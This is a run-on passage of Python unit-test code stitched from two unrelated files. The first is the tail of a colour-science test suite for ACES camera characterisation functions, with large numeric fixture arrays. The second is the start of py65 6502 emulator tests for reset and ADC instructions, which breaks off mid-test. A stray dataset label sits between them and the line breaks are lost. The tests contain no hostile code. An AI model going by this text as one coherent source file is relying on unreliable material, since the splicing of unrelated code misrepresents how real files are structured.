[182.28936533, 136.29152918, 248.30801310], [398.28853814, 281.28601665, 641.78038278], [494.34030557, 393.91395210, 664.96627121], [579.86630787, 449.57878986, 836.64303806], [281.30892711, 142.60663373, 309.93723963], [439.97606151, 345.13329865, 425.68615785], [887.17712876, 583.53811414, 886.88440975], [841.97939219, 617.28846790, 810.67002861], [1280.60242984, 1139.62066080, 1255.46929276], [336.77846782, 246.82877629, 324.48823631], [1070.92080733, 527.41599474, 913.93600561], [676.57753460, 329.48235976, 509.56020035], [1353.12934453, 1048.28092139, 1227.42851889], [248.56120754, 78.30056642, 137.39216268], [675.76876164, 381.60749713, 545.08703142], [1008.57884369, 704.64042514, 836.94311729], [1207.19931876, 527.74482440, 737.30284625], [1157.60714894, 736.24734736, 846.01278626], [861.62204402, 714.70913295, 747.29294390], [255.83324360, 94.08214754, 147.60127564], [1522.93390177, 1017.14491217, 1073.23488749], [460.59077351, 93.73852735, 210.75844436], [909.87331348, 498.83253656, 750.09672276], ] ), decimal=7, ) np.testing.assert_almost_equal( RGB_w, np.array([2.34141541, 1.00000000, 1.51633759]), decimal=7 ) training_data = sds_and_msds_to_msds( SDS_COLOURCHECKERS["BabelColor Average"].values() ) RGB, RGB_w = training_data_sds_to_RGB( training_data, MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"] ) np.testing.assert_almost_equal( RGB, np.array( [ [263.80361607, 170.29412869, 132.71463416], [884.07936328, 628.44083126, 520.43504675], [324.17856150, 443.95092266, 606.43750890], [243.82059773, 253.22111395, 144.98600653], [481.54199203, 527.96925768, 764.50624747], [628.07015143, 979.73104655, 896.85237907], [927.63600544, 391.11468312, 150.73047156], [203.13259862, 317.65395368, 639.54581080], [686.28955864, 260.78688114, 254.89963998], [174.05857536, 132.16684952, 230.54054095], [806.50094411, 817.35481419, 312.91902292], [1111.20280010, 608.82554576, 194.31984092], [94.99792206, 185.04148229, 456.53592437], [340.60457483, 498.62910631, 254.08356415], [531.53679194, 136.11844274, 109.19876416], [1387.37113491, 952.84382040, 286.23152122], [681.97933172, 326.66634506, 526.23078660], [244.90739217, 554.88866566, 741.21522946], [1841.80020583, 1834.49277300, 1784.07500285], [1179.76201558, 1189.84138939, 1182.25520674], [720.27089899, 726.91855632, 724.84766858], [382.16849234, 387.41521539, 386.87510339], [178.43859184, 181.76108810, 182.71062184], [64.77754952, 64.80020759, 65.45515287], ] ), decimal=7, ) np.testing.assert_almost_equal( RGB_w, np.array([2.34141541, 1.00000000, 1.51633759]), decimal=7 ) class TestTrainingDataSdsToXYZ(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.training_data_sds_to_XYZ` definition unit tests methods. """ def test_training_data_sds_to_XYZ(self): """ Test :func:`colour.characterisation.aces_it.training_data_sds_to_XYZ` definition. """ np.testing.assert_almost_equal( training_data_sds_to_XYZ( read_training_data_rawtoaces_v1(), MSDS_CMFS["CIE 1931 2 Degree Standard Observer"], SDS_ILLUMINANTS["D55"], ), np.array( [ [0.01743541, 0.01795040, 0.01961110], [0.08556071, 0.08957352, 0.09017032], [0.74558770, 0.78175495, 0.78343383], [0.19005289, 0.19950000, 0.20126062], [0.56263167, 0.59145443, 0.58944868], [0.40708229, 0.42774653, 0.42813199], [0.28533739, 0.29945717, 0.29732644], [0.18670375, 0.19575576, 0.19612855], [0.10734487, 0.11290543, 0.11381239], [0.06188310, 0.06524694, 0.06594260], [0.02905436, 0.03045954, 0.03111642], [0.25031624, 0.22471846, 0.12599982], [0.20848487, 0.18072652, 0.08216289], [0.28173081, 0.26937432, 0.19943363], [0.15129458, 0.13765872, 0.08086671], [0.07854243, 0.07274480, 0.05123870], [0.46574583, 0.43948749, 0.34501135], [0.33111608, 0.29368033, 0.21379720], [0.04596029, 0.04443836, 0.03115443], [0.28422646, 0.15495892, 0.11586479], [0.47490187, 0.41497780, 0.33505853], [0.29452546, 0.20003225, 0.13705453], [0.06905269, 0.04421818, 0.03449201], [0.13040440, 0.06239791, 0.04175606], [0.43838730, 0.29962261, 0.18439668], [0.13390118, 0.08356608, 0.04956679], [0.08356733, 0.05794634, 0.03910007], [0.21637988, 0.12469189, 0.04842559], [0.37899204, 0.22130821, 0.07365608], [0.07733610, 0.04256869, 0.02300063], [0.25696432, 0.14119282, 0.04740500], [0.51960474, 0.41409496, 0.25643556], [0.32241564, 0.19954021, 0.08051276], [0.05811798, 0.03389661, 0.02553745], [0.03192572, 0.02139972, 0.01894908], [0.24605476, 0.17854962, 0.09147038], [0.20624731, 0.10555152, 0.01675508], [0.31255107, 0.19334840, 0.05143990], [0.11006219, 0.06057155, 0.01700794], [0.20509764, 0.12555310, 0.03594860], [0.38058683, 0.30396093, 0.16256996], [0.34354473, 0.23964048, 0.06111316], [0.62251344, 0.54770879, 0.34634977], [0.21294652, 0.14470338, 0.03492000], [0.22064317, 0.19656587, 0.11907643], [0.23955073, 0.19768225, 0.08595970], [0.12377361, 0.08353105, 0.01434151], [0.52378659, 0.40757502, 0.10242337], [0.09732322, 0.07735501, 0.03254246], [0.41081884, 0.30127969, 0.04240016], [0.32946008, 0.27129095, 0.05232655], [0.19870991, 0.18701769, 0.09764509], [0.31867743, 0.25717029, 0.02158054], [0.67745549, 0.64283785, 0.31268426], [0.43182429, 0.39425828, 0.13198410], [0.19075096, 0.16573196, 0.01845293], [0.47578930, 0.43714747, 0.07974541], [0.08420865, 0.08615579, 0.06605406], [0.47306132, 0.43488423, 0.05262924], [0.28242654, 0.28638349, 0.19186089], [0.37367384, 0.38524079, 0.13498637], [0.49536547, 0.51027091, 0.15645211], [0.63680942, 0.67272132, 0.19642820], [0.43790684, 0.39093965, 0.02518505], [0.63216527, 0.66425603, 0.07124985], [0.28682848, 0.29807036, 0.14308787], [0.78666095, 0.83181391, 0.53110094], [0.54475049, 0.57280425, 0.43240766], [0.65555915, 0.68992930, 0.10030198], [0.10560623, 0.10992647, 0.06863885], [0.40588908, 0.43345904, 0.08589490], [0.69824760, 0.76446843, 0.23843395], [0.27951451, 0.30869595, 0.13310650], [0.28351930, 0.32278417, 0.09130925], [0.51144946, 0.58985649, 0.11409286], [0.16769668, 0.19357639, 0.04824163], [0.64027510, 0.74864980, 0.24145602], [0.51533750, 0.64418491, 0.09390029], [0.10903312, 0.13420204, 0.04403235], [0.03916991, 0.04755109, 0.02410291], [0.12726285, 0.16825903, 0.03705646], [0.34079923, 0.44119883, 0.10621489], [0.08299513, 0.10226271, 0.04607974], [0.10117617, 0.12690940, 0.05211600], [0.20673305, 0.25456362, 0.11244267], [0.05040081, 0.06702198, 0.02944861], [0.05809758, 0.07896803, 0.03312583], [0.07202711, 0.09383365, 0.03453490], [0.06392748, 0.07896740, 0.03860393], [0.08851258, 0.11174080, 0.04873213], [0.09821259, 0.13743849, 0.03901353], [0.12253000, 0.18989034, 0.03327101], [0.15082798, 0.25948217, 0.03805919], [0.41476613, 0.56455709, 0.26988900], [0.25043710, 0.40869656, 0.12211755], [0.17536685, 0.28765326, 0.10166502], [0.12038544, 0.19242328, 0.07754636], [0.14661345, 0.23524743, 0.09334793], [0.29469553, 0.41056592, 0.23093160], [0.13015693, 0.19492122, 0.09333495], [0.04081181, 0.08280292, 0.03122401], [0.06569736, 0.13553353, 0.05266408], [0.12177383, 0.20160583, 0.11621774], [0.08354206, 0.11970984, 0.08207175], [0.02834645, 0.06259404, 0.03135058], [0.20884161, 0.29927365, 0.20553553], [0.23180119, 0.33870071, 0.24267407], [0.04413521, 0.05398934, 0.04862030], [0.13068910, 0.19470885, 0.15073584], [0.16108644, 0.18484544, 0.17474649], [0.06206737, 0.12873462, 0.09368693], [0.05126858, 0.06722639, 0.05961970], [0.25534374, 0.31335090, 0.27780291], [0.48369629, 0.63319069, 0.57347864], [0.06066266, 0.09712274, 0.09253437], [0.27940216, 0.41909220, 0.39351159], [0.44664100, 0.54665344, 0.55342931], [0.03590889, 0.06959304, 0.07535965], [0.16621092, 0.30339106, 0.29722885], [0.12909138, 0.22008859, 0.22690521], [0.31015553, 0.42498221, 0.42044232], [0.33970423, 0.42779997, 0.43883150], [0.10000582, 0.19440825, 0.23393750], [0.16694758, 0.26056864, 0.32541934], [0.43598087, 0.55484571, 0.63089871], [0.10305166, 0.13633951, 0.16650820], [0.12725465, 0.19404057, 0.30068226], [0.44450660, 0.54666776, 0.64220554], [0.25312549, 0.31346831, 0.38485942], [0.24557618, 0.34698805, 0.51328941], [0.13585660, 0.18761687, 0.36302217], [0.32288492, 0.39652004, 0.54579104], [0.08400465, 0.11889755, 0.34519851], [0.06038029, 0.07936884, 0.16393180], [0.47840043, 0.53070661, 0.64043584], [0.16727376, 0.19048161, 0.27055547], [0.14740952, 0.19227205, 0.44545300], [0.03953792, 0.04540593, 0.10766386], [0.16200092, 0.18995251, 0.41003367], [0.53147895, 0.57554326, 0.74787983], [0.17107460, 0.19285623, 0.48157477], [0.11394187, 0.12139868, 0.21928748], [0.10838799, 0.11193347, 0.34884682], [0.10390937, 0.10854555, 0.22459293], [0.28493924, 0.30349174, 0.54832107], [0.13572090, 0.13988801, 0.43412229], [0.36141619, 0.37929776, 0.62919317], [0.04527113, 0.04612919, 0.09028801], [0.05164102, 0.04505136, 0.17732932], [0.18148861, 0.19085005, 0.29528314], [0.37792382, 0.39238764, 0.61357669], [0.08148672, 0.06054619, 0.27321036], [0.13431208, 0.12118937, 0.35762939], [0.19932157, 0.19328547, 0.37878896], [0.09456787, 0.08094285, 0.25785832], [0.29868476, 0.28967149, 0.54786550], [0.09582629, 0.06156148, 0.27163852], [0.25053785, 0.23630807, 0.40751054], [0.56821117, 0.57452018, 0.72419232], [0.16116009, 0.13379410, 0.28760107], [0.37816205, 0.32564214, 0.64945876], [0.19440630, 0.16599850, 0.31684298], [0.24229817, 0.19698372, 0.51538353], [0.08104904, 0.06295569, 0.15738669], [0.48808364, 0.46372832, 0.69336648], [0.01983575, 0.01538929, 0.03252398], [0.13468770, 0.08473328, 0.25136965], [0.08762890, 0.06560340, 0.13804375], [0.20192043, 0.12939477, 0.36343630], [0.24231283, 0.19018859, 0.36604686], [0.28784724, 0.21105155, 0.46114703], [0.12549222, 0.07471177, 0.17126268], [0.20910983, 0.18235419, 0.22475458], [0.43032307, 0.32727171, 0.49574549], [0.39105442, 0.32475758, 0.42885925], [0.60567491, 0.57928897, 0.64030251], [0.15645417, 0.12986348, 0.17171885], [0.50025055, 0.32646202, 0.51899239], [0.29822363, 0.19839451, 0.27397060], [0.63136923, 0.55375993, 0.63816664], [0.10261977, 0.05754107, 0.07473368], [0.30325538, 0.21976283, 0.29171854], [0.46794841, 0.39368920, 0.44286306], [0.54326558, 0.36319029, 0.41127862], [0.52355493, 0.42261205, 0.43529051], [0.39852212, 0.37568122, 0.37825751], [0.10892106, 0.06698290, 0.07939788], [0.68780223, 0.58022018, 0.54422258], [0.18984448, 0.09051898, 0.12104133], [0.41991006, 0.29457037, 0.40780639], ] ), decimal=7, ) training_data = sds_and_msds_to_msds( SDS_COLOURCHECKERS["BabelColor Average"].values() ) np.testing.assert_almost_equal( training_data_sds_to_XYZ( training_data, MSDS_CMFS["CIE 1931 2 Degree Standard Observer"], SDS_ILLUMINANTS["D55"], ), np.array( [ [0.11386016, 0.10184316, 0.06318332], [0.38043230, 0.34842093, 0.23582246], [0.17359019, 0.18707491, 0.31848244], [0.10647823, 0.13300376, 0.06486355], [0.24658643, 0.23417740, 0.40546447], [0.30550003, 0.42171110, 0.41928361], [0.38409200, 0.30325611, 0.05955461], [0.13149767, 0.11720378, 0.35673016], [0.28717811, 0.19215580, 0.12514286], [0.08401031, 0.06423349, 0.12782115], [0.33990604, 0.44124555, 0.10834694], [0.46443889, 0.42686462, 0.07340585], [0.07650085, 0.06051409, 0.26167301], [0.14598990, 0.23185071, 0.09380297], [0.20642710, 0.12162691, 0.04673088], [0.57371755, 0.59896814, 0.08930486], [0.30208819, 0.19714705, 0.28492050], [0.14184323, 0.19554336, 0.36653731], [0.86547610, 0.91241348, 0.88583082], [0.55802432, 0.58852191, 0.59042758], [0.34102067, 0.35951875, 0.36251375], [0.18104441, 0.19123509, 0.19353380], [0.08461047, 0.08944605, 0.09150081], [0.03058273, 0.03200953, 0.03277947], ] ), decimal=7, ) np.testing.assert_almost_equal( training_data_sds_to_XYZ( training_data, MSDS_CMFS["CIE 1931 2 Degree Standard Observer"], SDS_ILLUMINANTS["D55"], chromatic_adaptation_transform="Bradford", ), np.array( [ [0.11386557, 0.10185906, 0.06306965], [0.38044920, 0.34846911, 0.23548776], [0.17349711, 0.18690409, 0.31901794], [0.10656174, 0.13314825, 0.06450454], [0.24642109, 0.23388536, 0.40625776], [0.30564803, 0.42194543, 0.41894818], [0.38414010, 0.30337780, 0.05881558], [0.13128440, 0.11682332, 0.35780551], [0.28707604, 0.19200780, 0.12518610], [0.08392779, 0.06409174, 0.12816180], [0.34028525, 0.44190577, 0.10665985], [0.46462806, 0.42722924, 0.07207641], [0.07631823, 0.06018898, 0.26258457], [0.14620929, 0.23222248, 0.09296807], [0.20635082, 0.12152088, 0.04669974], [0.57410962, 0.59968182, 0.08713069], [0.30185180, 0.19675858, 0.28565273], [0.14177898, 0.19541060, 0.36711242], [0.86550834, 0.91247072, 0.88567193], [0.55803077, 0.58853268, 0.59040518], [0.34102300, 0.35952246, 0.36250826], [0.18104563, 0.19123690, 0.19353274], [0.08461039, 0.08944568, 0.09150425], [0.03058222, 0.03200864, 0.03278183], ] ), decimal=7, ) class TestOptimizationFactoryRawtoacesV1(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.\ optimisation_factory_rawtoaces_v1` definition unit tests methods. """ def test_optimisation_factory_rawtoaces_v1(self): """ Test :func:`colour.characterisation.aces_it.\ optimisation_factory_rawtoaces_v1` definition. """ self.assertEqual(len(optimisation_factory_rawtoaces_v1()), 2) class TestOptimizationFactoryJzazbz(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.\ optimisation_factory_Jzazbz` definition unit tests methods. """ def test_optimisation_factory_Jzazbz(self): """ Test :func:`colour.characterisation.aces_it.\ optimisation_factory_Jzazbz` definition. """ self.assertEqual(len(optimisation_factory_Jzazbz()), 2) class TestMatrixIdt(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.matrix_idt` definition unit tests methods. """ def test_matrix_idt(self): """ Test :func:`colour.characterisation.aces_it.matrix_idt` definition. """ # The *RAW to ACES* v1 matrix for the same camera and optimized by # `Ceres Solver <http://ceres-solver.org/>`__ is as follows: # # 0.864994 -0.026302 0.161308 # 0.056527 1.122997 -0.179524 # 0.023683 -0.202547 1.178864 np.testing.assert_allclose( matrix_idt(MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"])[0], np.array( [ [0.84993207, -0.01605594, 0.15143504], [0.05090392, 1.12559930, -0.18498249], [0.02006825, -0.19445149, 1.16206549], ] ), rtol=0.0001, atol=0.0001, ) # The *RAW to ACES* v1 matrix for the same camera and optimized by # `Ceres Solver <http://ceres-solver.org/>`__ is as follows: # # 0.888492 -0.077505 0.189014 # 0.021805 1.066614 -0.088418 # -0.019718 -0.206664 1.226381 np.testing.assert_allclose( matrix_idt( MSDS_CANON_EOS_5DMARK_II, SD_AMPAS_ISO7589_STUDIO_TUNGSTEN )[0], np.array( [ [0.85895300, -0.04381920, 0.15978620], [0.01024800, 1.08825364, -0.11392229], [-0.02327674, -0.18044292, 1.15903609], ] ), rtol=0.0001, atol=0.0001, ) M, RGB_w = matrix_idt( MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"], optimisation_factory=optimisation_factory_Jzazbz, ) np.testing.assert_allclose( M, np.array( [ [0.84841492, -0.01569765, 0.15799332], [0.05333075, 1.11428542, -0.17523500], [0.02262287, -0.22527728, 1.19646895], ] ), rtol=0.0001, atol=0.0001, ) np.testing.assert_allclose( RGB_w, np.array([2.34141541, 1.00000000, 1.51633759]), rtol=0.0001, atol=0.0001, ) M, RGB_w = matrix_idt( MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"], optimisation_kwargs={"method": "Nelder-Mead"}, ) np.testing.assert_allclose( M, np.array( [ [0.71327381, 0.19213397, 0.11115511], [-0.05788252, 1.31165598, -0.21730625], [-0.05913103, -0.02787107, 1.10737947], ] ), rtol=0.0001, atol=0.0001, ) np.testing.assert_allclose( RGB_w, np.array([2.34141541, 1.00000000, 1.51633759]), rtol=0.0001, atol=0.0001, ) training_data = sds_and_msds_to_msds( SDS_COLOURCHECKERS["BabelColor Average"].values() ) # pylint: disable=E1102 np.testing.assert_allclose( matrix_idt( reshape_msds( MSDS_CAMERA_SENSITIVITIES["Nikon 5100 (NPL)"], SpectralShape(400, 700, 10), ), SD_AMPAS_ISO7589_STUDIO_TUNGSTEN, training_data=training_data, )[0], np.array( [ [0.74041064, 0.10951105, 0.11963256], [-0.00467360, 1.09238438, -0.11398966], [0.06728533, -0.29530438, 1.18589793], ] ), rtol=0.0001, atol=0.0001, ) np.testing.assert_allclose( matrix_idt( MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"], chromatic_adaptation_transform="Bradford", )[0], np.array( [ [0.85020607, -0.01371074, 0.14907913], [0.05074081, 1.12898863, -0.18800656], [0.02095822, -0.20110079, 1.16769711], ] ), rtol=0.0001, atol=0.0001, ) _M, RGB_w, XYZ, RGB = matrix_idt( MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"], additional_data=True, ) np.testing.assert_almost_equal( RGB_w, np.array([2.34141541, 1.00000000, 1.51633759]) ) np.testing.assert_almost_equal( XYZ[:5, ...], np.array( [ [0.01743160, 0.01794927, 0.01960625], [0.08556139, 0.08957352, 0.09017387], [0.74560311, 0.78175547, 0.78350814], [0.19005289, 0.19950000, 0.20126062], [0.56264334, 0.59145486, 0.58950505], ] ), ) np.testing.assert_almost_equal( RGB[:5, ...], np.array( [ [0.02075823, 0.01968577, 0.02139352], [0.08957758, 0.08919227, 0.08910910], [0.78102307, 0.78019384, 0.77643020], [0.19950000, 0.19950000, 0.19950000], [0.58984787, 0.59040152, 0.58510766], ] ), ) class TestCamera_RGB_to_ACES2065_1(unittest.TestCase): """ Define :func:`colour.characterisation.aces_it.\ camera_RGB_to_ACES2065_1` definition unit tests methods. """ def test_camera_RGB_to_ACES2065_1(self): """ Test :func:`colour.characterisation.aces_it.\ camera_RGB_to_ACES2065_1` definition. """ B, b = matrix_idt(MSDS_CANON_EOS_5DMARK_II, SDS_ILLUMINANTS["D55"]) np.testing.assert_almost_equal( camera_RGB_to_ACES2065_1(np.array([0.1, 0.2, 0.3]), B, b), np.array([0.26468115, 0.15288980, 0.49443355]), ) np.testing.assert_almost_equal( camera_RGB_to_ACES2065_1(np.array([1.5, 1.5, 1.5]), B, b), np.array([3.30542136, 1.44643555, 2.42192985]), ) np.testing.assert_almost_equal( camera_RGB_to_ACES2065_1(np.array([1.0, 1.0, 1.0]), B, b, True), np.array([2.20361424, 0.96429036, 1.61461990]), ) if __name__ == "__main__": unittest.main()
codeparrot/github-code-clean
import unittest import sys import py65.assembler import py65.devices.mpu6502 class Common6502Tests: """Tests common to 6502-based microprocessors""" # Reset def test_reset_sets_registers_to_initial_states(self): mpu = self._make_mpu() mpu.reset() self.assertEqual(0xFF, mpu.sp) self.assertEqual(0, mpu.a) self.assertEqual(0, mpu.x) self.assertEqual(0, mpu.y) self.assertEqual(mpu.BREAK | mpu.UNUSED, mpu.p) # ADC Absolute def test_adc_bcd_off_absolute_carry_clear_in_accumulator_zeroes(self): mpu = self._make_mpu() mpu.a = 0 # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) self.assertEqual(0x10000, len(mpu.memory)) mpu.memory[0xC000] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_adc_bcd_off_absolute_carry_set_in_accumulator_zero(self): mpu = self._make_mpu() mpu.a = 0 mpu.p |= mpu.CARRY # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) mpu.memory[0xC000] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_adc_bcd_off_absolute_carry_clear_in_no_carry_clear_out(self): mpu = self._make_mpu() mpu.a = 0x01 # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) mpu.memory[0xC000] = 0xFE mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_absolute_carry_clear_in_carry_set_out(self): mpu = self._make_mpu() mpu.a = 0x02 # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) mpu.memory[0xC000] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_absolute_overflow_clr_no_carry_01_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) mpu.memory[0xC000] = 0x01 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x02, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_absolute_overflow_clr_no_carry_01_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) mpu.memory[0xC000] = 0xff mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_absolute_overflow_set_no_carry_7f_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x7f # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) mpu.memory[0xC000] = 0x01 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_absolute_overflow_set_no_carry_80_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x80 # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) mpu.memory[0xC000] = 0xff mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x7f, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_absolute_overflow_set_on_40_plus_40(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) mpu.a = 0x40 # $0000 ADC $C000 self._write(mpu.memory, 0x0000, (0x6D, 0x00, 0xC0)) mpu.memory[0xC000] = 0x40 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) # ADC Zero Page def test_adc_bcd_off_zp_carry_clear_in_accumulator_zeroes(self): mpu = self._make_mpu() mpu.a = 0 # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_adc_bcd_off_zp_carry_set_in_accumulator_zero(self): mpu = self._make_mpu() mpu.a = 0 mpu.p |= mpu.CARRY # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_adc_bcd_off_zp_carry_clear_in_no_carry_clear_out(self): mpu = self._make_mpu() mpu.a = 0x01 # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0xFE mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_zp_carry_clear_in_carry_set_out(self): mpu = self._make_mpu() mpu.a = 0x02 # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_zp_overflow_clr_no_carry_01_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x02, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_zp_overflow_clr_no_carry_01_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0xff mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_zp_overflow_set_no_carry_7f_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x7f # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_zp_overflow_set_no_carry_80_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x80 # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0xff mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x7f, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_zp_overflow_set_on_40_plus_40(self): mpu = self._make_mpu() mpu.a = 0x40 mpu.p &= ~(mpu.OVERFLOW) # $0000 ADC $00B0 self._write(mpu.memory, 0x0000, (0x65, 0xB0)) mpu.memory[0x00B0] = 0x40 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) # ADC Immediate def test_adc_bcd_off_immediate_carry_clear_in_accumulator_zeroes(self): mpu = self._make_mpu() mpu.a = 0 # $0000 ADC #$00 self._write(mpu.memory, 0x0000, (0x69, 0x00)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_adc_bcd_off_immediate_carry_set_in_accumulator_zero(self): mpu = self._make_mpu() mpu.a = 0 mpu.p |= mpu.CARRY # $0000 ADC #$00 self._write(mpu.memory, 0x0000, (0x69, 0x00)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_adc_bcd_off_immediate_carry_clear_in_no_carry_clear_out(self): mpu = self._make_mpu() mpu.a = 0x01 # $0000 ADC #$FE self._write(mpu.memory, 0x0000, (0x69, 0xFE)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_immediate_carry_clear_in_carry_set_out(self): mpu = self._make_mpu() mpu.a = 0x02 # $0000 ADC #$FF self._write(mpu.memory, 0x0000, (0x69, 0xFF)) mpu.step() 